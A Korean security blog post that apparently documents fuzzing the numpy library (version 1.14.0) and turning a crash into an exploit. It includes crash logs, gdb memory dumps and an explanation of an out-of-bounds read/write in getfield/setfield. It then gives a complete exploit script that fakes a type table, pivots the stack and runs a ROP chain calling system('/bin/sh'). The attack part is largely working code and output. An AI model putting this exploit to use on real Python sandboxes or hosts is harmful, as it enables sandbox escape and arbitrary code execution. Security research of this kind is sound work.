티스토리 뷰
최초 작성: 2018-02-16
안녕하세요. Hackability 입니다.
오늘 포스팅 주제는 간단한 커스텀 스크립트 퍼저 제작을 통해 나온 결과물 부터 실제 익스까지 만들게된 내용을 담아 보려고 합니다.
본 포스팅에서는 커스텀 스크립트 퍼저에 대한 내용은 다루지 않고 4월 텐달러 오프라인 세미나 때 6시간 가량 퍼저 제작에 대한 내용을 공유하고 각자 개인 퍼저 개발을 할 수 있는 시간을 만들려 합니다. 관심 있으신분은 날짜가 정해지면 오셔서 세미나 들으시고 서로 생각을 공유하는 시간을 갖으면 좋겠습니다 :D (블로그와 페북에 날짜가 나오면 공지 하도록 하겠습니다.)
제가 처음으로 타겟을 한 대상은 Python의 Numpy 모듈을 대상으로 타겟을 하였습니다. CTF를 풀다가 파이썬 샌드박스 문제 관련해서 나올때마다 들렷던 블로그에서 numpy 대상으로 익스를 했던 내용이 있었는데, 나도 해봐야지 하다가 이제 하게 되었네요.
https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5
1. 퍼징 로그 분석
처음에 이 버그를 발견하게 된 계기는 지속적으로 퍼징 로그에 동일한 결과가 나오는 부분이 있었고 익스까지 도달 할수 있었던 해당 퍼저 로그는 다음과 같습니다.
import numpy as np var_86ccd45a5d572ecd = np.byte() var_adf7227323c2d599 = np.short(4294967295) var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, 1094795585) | cs |
위 스크립트를 디버깅 해보면 다음과 같이 아름다운 메모리 커럽션이 발생하게 됩니다.
hackability@ubuntu:~/fuzzer/temp$ gdb -q python Reading symbols from python...(no debugging symbols found)...done. gdb-peda$ r crash_1518604021_11.py Starting program: /usr/bin/python crash_1518604021_11.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff3eb9700 (LWP 27871)] Thread 1 "python" received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7ffff6820ee0 (<BYTE_copyswap>: test rsi,rsi) RBX: 0x7ffff6bbb300 --> 0x3 RCX: 0x7ffff7e7b7b0 --> 0x1 RDX: 0x0 RSI: 0x41f963b1 RDI: 0x7ffff7f69220 --> 0x0 RBP: 0x1 RSP: 0x7fffffffd9c8 --> 0x7ffff6920965 (<PyArray_Scalar+485>: add rsp,0x28) RIP: 0x7ffff6820ee5 (<BYTE_copyswap+5>: movzx eax,BYTE PTR [rsi]) R8 : 0x0 R9 : 0x0 R10: 0x228 R11: 0x8fd580 --> 0x7ffff7e89000 --> 0x36 ('6') R12: 0x7ffff7f69210 --> 0x1 R13: 0x41f963b1 R14: 0xffffffef R15: 0x1 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff6820edc: nop DWORD PTR [rax+0x0] 0x7ffff6820ee0 <BYTE_copyswap>: test rsi,rsi 0x7ffff6820ee3 <BYTE_copyswap+3>: je 0x7ffff6820eea <BYTE_copyswap+10> => 0x7ffff6820ee5 <BYTE_copyswap+5>: movzx eax,BYTE PTR [rsi] 0x7ffff6820ee8 <BYTE_copyswap+8>: mov BYTE PTR [rdi],al 0x7ffff6820eea <BYTE_copyswap+10>: repz ret 0x7ffff6820eec: nop DWORD PTR [rax+0x0] 0x7ffff6820ef0 <UBYTE_copyswap>: test rsi,rsi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd9c8 --> 0x7ffff6920965 (<PyArray_Scalar+485>: add rsp,0x28) 0008| 0x7fffffffd9d0 --> 0x7ffff7e6de60 --> 0x1 0016| 0x7fffffffd9d8 --> 0x7fff00000000 0024| 0x7fffffffd9e0 --> 0x7ffff6820ee0 (<BYTE_copyswap>: test rsi,rsi) 0032| 0x7fffffffd9e8 --> 0x7ffff7e7b7b0 --> 0x1 0040| 0x7fffffffd9f0 --> 0x0 0048| 0x7fffffffd9f8 --> 0x7ffff7e7b7b0 --> 0x1 0056| 0x7fffffffda00 --> 0x7ffff7f691e0 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV _basic_copy (elsize=0x1, src=src@entry=0x41f963b1, dst=0x7ffff7f69220) at numpy/core/src/multiarray/arraytypes.c.src:1946 1946 numpy/core/src/multiarray/arraytypes.c.src: No such file or directory. | cs |
$rsi 값을 이용하여 메모리 참조를 하는데 이 메모리 주소가 유효한 주소가 아니기 때문에 메모리 커럽션이 발생되게 됩니다.
먼저 getfield 함수를 찾아 보면 다음과 같은 함수 원형을 갖고 있습니다.
ndarray.getfield(dtype, offset=0)
뒤에 오프셋이 기본으로 0으로 설정되어 있는데 이 부분에 우리는 1094795585 값(0x41414141) 을 넣어 주었습니다. 몇 가지 테스트 해본 결과 위에서 문제가 생겻던 $rsi의 값이 getfield 함수의 오프셋 파라미터에 영향을 받음을 알 수 있었습니다. 오프셋을 0x42424242로 변경하여 테스트 해보면 변경한 오프셋의 값 만큼 $rsi가 변경됨을 알 수 있습니다.
만약, 오프셋을 유효한 곳으로 지정한다면 ndarray (위 예에서는 ushort) 오브젝트 기준으로 메모리 릭이 가능할 것 같습니다. 테스트 하면서 하나 더 발견한 것은 첫 번째 인자가 byte()로 되어 있어서 릭이 한바이트 씩 됫는데 이를 numpy에서 제공하는 8바이트 자료 구조 (numpy.uint64)로 변경하여 테스트 해보면 정상적으로 8바이트씩 메모리 릭이 가능함을 볼 수 있습니다.
* 메모리 릭 테스트 코드
import numpy as np var_86ccd45a5d572ecd = np.uint64() var_adf7227323c2d599 = np.short(4294967295) #var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, 1094795585) for i in range(0, 0x20): v = var_adf7227323c2d599.getfield(var_86ccd45a5d572ecd, i*8) print "obj + %08x : " % (i*8), hex(v) | cs |
* 메모리 릭 테스트 결과
hackability@ubuntu:~/fuzzer/temp$ python crash_1518604021_11.py obj + 00000000 : 0x7fe48f3dffffL obj + 00000008 : 0x7fe48f3d7b78L obj + 00000010 : 0x0L obj + 00000018 : 0x21L obj + 00000020 : 0x358637bdL obj + 00000028 : 0x7fe48f3d7b78L obj + 00000030 : 0x0L obj + 00000038 : 0x31L obj + 00000040 : 0x2L obj + 00000048 : 0x8L obj + 00000050 : 0x2L obj + 00000058 : 0x2L obj + 00000060 : 0x840003640004L obj + 00000068 : 0x311L obj + 00000070 : 0x0L obj + 00000078 : 0x0L obj + 00000080 : 0x0L obj + 00000088 : 0x6c3da9d8a2f811a1L obj + 00000090 : 0x7fe488690f00L obj + 00000098 : 0x7fe488618a80L obj + 000000a0 : 0x0L obj + 000000a8 : 0x0L obj + 000000b0 : 0x0L obj + 000000b8 : 0x0L obj + 000000c0 : 0x0L obj + 000000c8 : 0x0L obj + 000000d0 : 0xffbd3734067fe6c4L obj + 000000d8 : 0x7fe48861e1b8L obj + 000000e0 : 0x7fe488617f50L | cs |
디버깅을 해보면 몇 가지 사실을 알 수 있었습니다.
1. 버그가 발생했던 $rsi는 getfield 파라미터 offset의 영향을 받음 (Origin pointer = $rsi-offset)
2. getfield 함수를 통해 Origin pointer 기준으로 메모리 노출이 가능
추가적으로 getfield외에 기존 퍼저 로그에서 setfield에서도 다음과 같이 크래쉬가 발생했던 로그가 있었습니다.
import numpy as np var_15300087264a0a49 = np.fmod(65535, 65536) var_7b4c66d30119badc = np.void(var_15300087264a0a49) var_af6ad5941dc99546 = np.complex(4294967296) var_ee237afa1ac5e5a9 = np.mat(var_af6ad5941dc99546) var_ee237afa1ac5e5a9.setfield('AAAAAAAA', var_7b4c66d30119badc) | cs |
setfield역시 getfield와 거의 동일하지만, 한 가지 중요한 것은 setfield의 경우, 콜러의 타입이 array 타입으로 구성이 되어야 했습니다. getfield는 딱히 타입에 상관이 없기 때문에 처음에 분석을 할 때, 릭 오브젝트는 np.mat(np.complex()) 로 구성해서 사용했고, 최종적으로 np.array()로 정리를 하였고, 이 오브젝트를 이용하여 oob r/w를 할 수 있게 되었습니다.
2. 분석
2.1. 파이썬 오브젝트
발생된 oob r/w를 이용하여 익스를 하기 위한 첫 번째 타겟은 힙에 존재하는 다른 Python Object를 덮는 것 이였습니다. 한 가지 중요한 점은 맨 처음의 블로그에서 언급했듯이, 작은 오브젝트는 굉장히 높은 주소에 할당이 되고 큰 오브젝트들만 힙영역에 할당이 되었습니다. 따라서, 문자열 오브젝트를 크게 생성하여 컨트롤 할 오브젝트들은 모두 힙에 설정되도록 하였습니다.
힙에 생성된 Python Object는 내부에 함수 콜 테이블들이 존재 했고 해당 테이블을 관리 하는 포인터를 내가 조작할 수 있는 메모리 영역으로 덮으면 우리가 원하는 것을 할 수 있을 것 같습니다. like CTF :D
numpy.string_("A"*0x1000) 으로 스트링을 할당하고 해당 값을 확인해보면 첫 번째 값 (1)은 레퍼런스 카운트, 두 번째는 해당 타입에 대한 콜 테이블 주소 그리고 그 이후에 우리가 넣은 값 으로 구성 됨을 알 수 있습니다.
gdb-peda$ x/8gx 0xe52880 0xe52880: 0x0000000000000001 0x00007ffff6bccc60 0xe52890: 0x0000000000001000 0xffffffffffffffff 0xe528a0: 0x4141414100000000 0x4141414141414141 0xe528b0: 0x4141414141414141 0x4141414141414141 gdb-peda$ print *(PyTypeObject *)0x00007ffff6bccc60 $4 = { ob_refcnt = 0x39, ob_type = 0x905bc0 <PyType_Type>, ob_size = 0x0, tp_name = 0x7ffff697e7cb "numpy.string_", tp_basicsize = 0x28, tp_itemsize = 0x1, tp_dealloc = 0x4a4010, tp_print = 0x511100, tp_getattr = 0x0, tp_setattr = 0x0, tp_compare = 0x0, tp_repr = 0x7ffff69274e0 <stringtype_repr>, tp_as_number = 0x8f8c40, tp_as_sequence = 0x8f8be0, tp_as_mapping = 0x8f8bb0, tp_hash = 0x4a0450, tp_call = 0x0, tp_str = 0x7ffff6927430 <stringtype_str>, tp_getattro = 0x4aff80 <PyObject_GenericGetAttr>, tp_setattro = 0x4da5e0 <PyObject_GenericSetAttr>, tp_as_buffer = 0x8f8b80, tp_flags = 0x82215fb, tp_doc = 0x0, tp_traverse = 0x0, tp_clear = 0x0, tp_richcompare = 0x4ace80, tp_weaklistoffset = 0x0, tp_iter = 0x0, tp_iternext = 0x0, tp_methods = 0x0, tp_members = 0x0, tp_getset = 0x0, tp_base = 0x9060a0 <PyString_Type>, tp_dict = 0x7ffff7e56a28, tp_descr_get = 0x0, tp_descr_set = 0x0, tp_dictoffset = 0x0, tp_init = 0x4b83b0, tp_alloc = 0x7ffff6926610 <gentype_alloc>, tp_new = 0x7ffff69260e0 <string_arrtype_new>, tp_free = 0x7ffff6926600 <gentype_free>, tp_is_gc = 0x0, tp_bases = 0x7ffff7e72248, tp_mro = 0x7ffff7ed3b40, tp_cache = 0x0, tp_subclasses = 0x0, tp_weaklist = 0x7ffff7e5e0a8, tp_del = 0x0, tp_version_tag = 0x0 } | cs |
따라서, 이 위치를 덮게되면 해당 타입 오브젝트에 대한 콜 테이블을 변경할 수 있고 결국 $rip를 우리가 원하는 곳으로 넣을 수 있게 됩니다. 예를들어, 스트링 오브젝트의 str함수는 [테이블 주소 + 0x88]에 위치해 있기 때문에 우리는 테이블 주소 + 0x88 값을 "BBBBBBBB"로 변경하고 str(obj)를 호출하게 되면 내부적으로 call [테이블 주소 + 0x88] = call 0x4242424242424242를 하게 됩니다.
2.2. 임의 주소 읽고 쓰기 (oob r/w)
위의 테스트를 통해 getfield와 setfield를 통해 해당 릭 오브젝트 기준으로 메모리에 읽고 쓰기를 할 수 있었습니다만, 몇 가지 문제점이 있었습니다.
1. getfield와 setfield 인자로 들어가는 offset의 범위가 4바이트를 넘어 갈 수 없는 것
이 문제는 다행히 간단히 해결 될 수 있었던 것은, oob r/w를 할 수 있는 오브젝트와 우리가 덮어 쓸 타겟 파이썬 오브젝트가 동일한 힙 영역안에 있기 때문에 4바이트 범위로 충분히 덮을 수 있었습니다.
2. overwrite를 하기 위한 타겟 오브젝트가 서치 범위 내에 없는 경우
이 경우는 일반적이지 않은 경우인데 보통 릭 오브젝트를 잡고 +- 할 경우, 해당 오브젝트 주소 기준으로 검색을 하게 됩니다. 하지만 이번 경우에는 +offset일 경우에는 정상적으로 동작했지만 -offset일 경우에는 릭 오브젝트와 다른곳 부터 검색을 하게 되어 만약 타겟 오브젝트가 릭 오브젝트와 (-offset)의 시작위치 사이에 있게 되면 검색이 안되는 문제가 생기게 됩니다. 그림으로 표현하면 다음과 같습니다.
해결 방법으로는 [Obj - oob r/w]의 setfield를 이용하여 릭 오브젝트 이전에 타겟 오브젝트가 생성되지 못하도록 스프레잉을하여 릭 오브젝트 이후에 할당되게 하는 것 이였습니다. 강제로 타겟 오브젝트를 Obj - oob r/w 이후에 할당되게 함으로써, 정상적으로 타겟 오브젝트를 읽고, 쓸수 있게 되었습니다.
2.3. 타겟 파이썬 오브젝트 검색
위의 예와 같이 이제 타겟 오브젝트는 릭 오브젝트의 +offset 영역에 설정이 되어 찾을 수 있게 되었지만 파이썬 오브젝트의 힙 사용에 의한 랜덤성 때문에 고정적인 오프셋을 넣을 수가 없었습니다. 따라서, PyStringObject에 임의로 매직 문자열을 넣어 타겟 오브젝트가 어디인지 검사하는 코드를 넣어야 합니다.
아래 예를 통해 쉽게 이해해보도록 하면, 0xe52880은 우리가 찾아야 하는 파이썬 스트링 오브젝트의 주소입니다.
gdb-peda$ x/20gx 0xe52880 0xe52880: 0x0000000000000001 0x00007ffff6bccc60 0xe52890: 0x0000000000001000 0xffffffffffffffff 0xe528a0: 0x4141414100000000 0x4141414141414141 0xe528b0: 0x4141414141414141 0x4141414141414141 0xe528c0: 0x4141414141414141 0x4141414141414141 0xe528d0: 0x4141414141414141 0x4141414141414141 0xe528e0: 0x4141414141414141 0x4141414141414141 0xe528f0: 0x4141414141414141 0x4141414141414141 0xe52900: 0x4141414141414141 0x4141414141414141 0xe52910: 0x4141414141414141 0x4141414141414141 | cs |
릭 오브젝트를 이용하여 8바이트씩 검사 하다가 현재 블록, 이전 블록, 이전 이전 블록의 값이 위의 하이라이트 된 값과 같다면 해당 위치의 - 0x28을 PyStringObject의 시작주소로 할 수 있습니다.
2.4. $rip 조작
오브젝트의 처음 값은 레퍼런스 카운트 (0xe52880 = 1)이기 때문에 우리의 별로 관심사가 아니고 우리의 관심사는 함수 테이블 주소를 가지고 있는 (0xe52880+8 = 0x7ffff6bccc60) 입니다. 위에서 설명 햇다 싶이 이 주소의 + 0x88주소는 str 함수 포인터를 가지고 있는데 0xe52880+8의 내용을 0xe528b0 형태로 변경하게 되면 해당 파이썬 오브젝트는 0xe528b0+0x88의 주소를 str 함수 포인터로 인지하게 되고 이 위치는 우리가 컨트롤 하고 있는 영역이기 때문에 $rip를 컨트롤 할 수 있게 됩니다.
2.5. Pwn the shell !!
이후에는 바이너리에 존재하는 ROP 가젯들을 이용하여 우리가 원하는 목적에 맞도록 체이닝을 하여 쉘을 구성하였습니다. 이 구성은 바이너리마다 다르기 때문에 그림으로만 간단히 표현하면 다음과 같습니다.
시스템 실행을 위해, 스택 피봇을 하였고, 제 환경에서는 eax가 타겟 오브젝트 위치를 가지고 있어서 그 위치에 추가적인 ROP Chaining을 하였습니다. 만약 다른 시스템에서 아래 PoC를 완성 시키려면 call [function_table + 0x88] 할 때, 레지스터를 고려하여 ROP Chaining을 다시 구축하면 됩니다.
3. 결과
본 익스플로잇 코드는 최신 버전 numpy(1.14.0) 대상으로 실험을 하였습니다. 여담으로 바운티가 가능했다면 id 함수를 쓰지 않고 다른 환경에서도 reliable하게 수정하려고 했는데 받아 주는곳이 없어서... 대충 작성 하였습니다. :'(
3.1. Exploit Code
#-*- coding: utf-8 -*- # # Author : Hackability # Last Modified : 2018-02-14 # Target : Python - numpy # import numpy as np import struct import sys Q = lambda x: struct.pack("Q", x) UQ = lambda x: struct.unpack("<Q", x)[0] print "Python Version : ", sys.version.replace("\n", " ") print "Numpy Version : ", np.__version__ # follow hardcoded addresses are defpends on Python binary pop_rdi_ret = 0x66366c addr_system = 0x5c96Ac xchg_esp_eax_ret = 0x4503e9 # target obj # obj_oob_rw_bug = np.mat(np.complex(4294967296)) obj_oob_rw_bug = np.array(0) obj_for_binsh = np.string_( "Z"*0xc + "/bin/sh\x00" + "Z"*(0x1000)) # to create large object obj_fake_chunk = np.string_("A"*0xc + # look for seaching this object Q(pop_rdi_ret) + Q(id(obj_for_binsh)+0x30) + Q(addr_system) + "A"*0x70 + Q(xchg_esp_eax_ret) + "A"*(0x1000)) # to create large object # This loop for heap spraying # - because of unpredictability of heap, obj_fake_chunk is sometimes # created at (obj_oob_rw_bug < obj_fake_chunk < obj_for_binsh) # - so, this loop can place the obj_fake_chunk into between them found_blocks = False for i in range(0, 0x100, 8): print "[*] Try to find the offset of object : ", i obj_oob_rw_bug.setfield(0xdeadbeef, np.int64, i) offset = -1 qword_current = -1 qword_prev = -1 qword_prev_prev = -1 # actual range can cover (obj + 2^32-1) # simply +0x1000000 for checking speed for j in range(0, 0x200000): # TODO: for spraying, large string object should be added here # but, I did't cause I'm lazy and its enough :P qword_current = obj_oob_rw_bug.getfield(np.uint64, j*8) if qword_current == UQ("A"*8) and \ qword_prev == UQ("\x00"*4 + "A"*4) and \ qword_prev_prev == UQ("\xff"*8): print "[*] Found the offset of object : ", j found_blocks = True offset = j break qword_prev_prev = qword_prev qword_prev = qword_current if found_blocks is True: break # for the reason (TODO), it fails some environments if found_blocks is False: print "[?] Not found the offset of object!!" exit() # vtable offset (offset - 4*8) offset -= 4 # overwrite vtable as placed in obj3 string area print "[*] Overwrite the PyObject vtable that will point into obj area" obj_oob_rw_bug.setfield(id(obj_fake_chunk)+0x30, np.int64, offset*8) # Trigger !! print "[*] pwn /bin/sh !!" str(obj_fake_chunk) | cs |
3.2. 결과
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 19. IE 11 (Part 2) (3) | 2016.07.22 |
---|---|
[익스플로잇 개발] 18. IE 11 (Part 1) (1) | 2016.07.22 |
[익스플로잇 개발] 17. IE 10 (Use-After-Free bug) (0) | 2016.07.22 |
[익스플로잇 개발] 16. IE 10 (God Mode 2) (0) | 2016.07.22 |
[익스플로잇 개발] 15. IE 10 (God Mode 1) (0) | 2016.07.22 |
- Total
- Today
- Yesterday
- IE 11 exploit development
- 쉘 코드
- School CTF Writeup
- IE 10 익스플로잇
- IE 10 리버싱
- IE UAF
- CTF Write up
- 2014 SU CTF Write UP
- IE 11 UAF
- Use after free
- TenDollar CTF
- Windows Exploit Development
- 데이터 마이닝
- expdev 번역
- School CTF Write up
- shellcode writing
- 힙 스프레잉
- IE 11 exploit
- heap spraying
- Mona 2
- IE 10 God Mode
- data mining
- IE 10 Exploit Development
- WinDbg
- UAF
- TenDollar
- 2015 School CTF
- 윈도우즈 익스플로잇 개발
- 쉘 코드 작성
- shellcode
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |